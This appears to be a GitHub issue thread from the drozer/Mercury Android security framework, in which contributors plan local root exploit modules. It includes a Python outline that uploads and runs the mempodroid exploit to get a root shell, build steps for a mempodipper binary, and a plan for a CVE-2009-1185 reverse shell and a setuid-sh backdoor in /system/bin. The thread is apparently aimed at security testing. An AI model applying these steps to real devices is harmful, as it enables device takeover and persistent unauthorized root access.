Include localroot for 4.0.3 < about drozer HOT 15 CLOSED

Was informed pastebin links expire, here is a gist alternative:
git://gist.github.com/2946019.git

from drozer.

Excellent! As an example and for future reference, here is an exploit outline that can be used for root exploits of this nature. This allows Mercury to obtain a root shell using the exploit.

print "\n[*] Uploading mempodroid"
upload = session.uploadFile(mempodroid_location, "/data/data/com.mwr.mercury")

if upload.isError():
     print "[-] Failed: " + upload.error
else:
     print "[+] Succeeded"
     print "[*] chmod 770 mempodroid"
     chmod = session.executeCommand("shell", "executeSingleCommand", {'args':'chmod 770 /data/data/com.mwr.mercury/mempodroid'})
     if chmod.isError():
         print "[-] Failed\n"
     else:
         print "[+] Succeeded"

         print "[*] Executing mempodroid"

         session.executeCommand("shell", "executeMercuryShell", {'args':'/data/data/com.mwr.mercury/mempodroid - - sh'})
         print "\n--------------<mercury_shell>--------------"
         returned = session.executeCommand("shell", "readMercuryShell", None).getPaddedErrorOrData()
         print returned
         print "--------------</mercury_shell>-------------\n"

         if "#" in returned:
             print "Success! There is a root shell waiting in shell->persistent\n"
         else:
             print "It appears that this did not work :(\n"

from drozer.

Awesome. Thanks for that. Will work on updating the zygote exploit, ADB exploit and rage against the cage exploits to be dynamic today + write modules for them.

from drozer.

Also, It's been quite some time since I managed to compile a localroot exploit from source, and the wrapper script I used to compile my RATC exploit for brucon is broken. Do you have experience compiling raw C for arm against bionic?

from drozer.

The C code you provided in your 2nd post compiled nicely using ndk-build. In summary, create 3 folders named jni, libs and obj. Put your C file in jni and create a simple Android.mk as below:

jni/Android.mk

LOCAL_PATH := $(call my-dir)

include $(CLEAR_VARS)

# Here we give our module name and source file(s)
LOCAL_MODULE    := dynamic_mempodipper_mercury
LOCAL_SRC_FILES := dynamic_mempodipper_mercury.c

include $(BUILD_EXECUTABLE)

Navigate to the root of these 3 folders and call ndk-build. You should get:

Compile thumb  : dynamic_mempodipper_mercury <= dynamic_mempodipper_mercury.c
Executable     : dynamic_mempodipper_mercury
Install        : dynamic_mempodipper_mercury => libs/armeabi/dynamic_mempodipper_mercury

from drozer.

Awesome thankyou. Am i correct in understanding that if using a root thread i create a setuid copy of sh, mercury is able to utilise that over a socket? The current exploit uses internet permissions to open a reverse shell.

from drozer.

Yes, that should work fine provided that you put sh in a location that allows you to use suids. You might have to patch some sections of Mercury depending on what you are trying to achieve exactly. You can also use the su binary marked as suid.

The ideal scenario for Mercury would be to only have root exploits get a root shell. We are planning features so that you are able to use Mercury as a reverse payload as well as a bind payload so that scenarios like the following can happen:

• Find way to install Mercury e.g. malware, webkit vuln + install permissions
• Get Mercury reverse shell (once it is installed) to your listener on the net
• Use root exploit
• Win

If you provide more specifics on what the exploit you are doing it trying to achieve then I can tell you what Mercury already has and what is missing to implement it.

Tyrone

from drozer.

The exploit is for cve-2009-1185, where the kernel does not check the origin of netlink messages that can create hotplug events. However a caveat with this particular bug is that it is leveraged by asking UDev (via a hotplug event) to execute the exploit binary as root. This restricts our ability to:

• pass the exploit any command line arguments
• return a root shell in the same process as the one that mercury executes (as that one simply adds the hotplug event, and exits. The root thread is obtained when the device next parses the hotplug list)

Currently in order to interact with the root thread, the binary has a if (geteuid() == 0) as the first thing in main, and it reverse connects back to a hardcoded IP address (due to the arguments restriction).

From analysing other modules, it seems that mercury's current root module just executes a setuid binary which returns a local sh prompt with elevated privileges taht mercury then interacts with, which obviously cannot be done with this particular exploit.

My question is how would you like me to implement the payload so that minimal changes are required to mercury itself?

I personally think our options are:

• Bindshell, and connect locally to it with the mercury server, and then pass it to the client
• keep the existing reverse shell and connect directly to the client (bypassing the server)
• create a setuid copy of sh somewhere on disk that allows it, and then execute it just like the ZTE root exploit

Thoughts?

Nick

from drozer.

I am personally in favour of the setuid sh solution. This will probably entail:

• Remount /system as RW
• Create a copy of sh in /system/bin with another name
• Chmod it 4755
• Executing it within Mercury's persistent shell and win

This allows a persistent backdoor on the device that Mercury can use to get root without exploiting the vulnerability again. This will also be the most graceful solution to implement at the moment given the limited nature of the communications protocol.

Good luck, it is going to be awesome :)
Tyrone

from drozer.

I'm having issues. Seems installing the server on my test handset for this exploit doesn't work. The SDK version is too high for my phone. does mercury run at all on 2.1/2.2? if not, this module is moot, as the exploit only affects these versions.

from drozer.

The min SDK version is currently set to 8 - Android 2.2 Froyo. Not sure why this is the case, it seems to work when android:minSdkVersion="7" in AndroidManifest.xml

Would you change the minSdkVersion, recompile and try again please? (I can also recompile and put it somewhere for you if you would like to save time)

from drozer.

How is it going with this? You running into problems?

from drozer.

Hi guys,
Did you implemented / port the rage-against-the-cage / GignerBreak exploits to this framework?
Couldn't find it in the models...

Do you need help with it?

Thanks

from drozer.

Hi,

We have not ported either of those exploits. It would be great if you could give it a bash and we will pitch in where we can :)

from drozer.

All root discussions moved to issue #56

from drozer.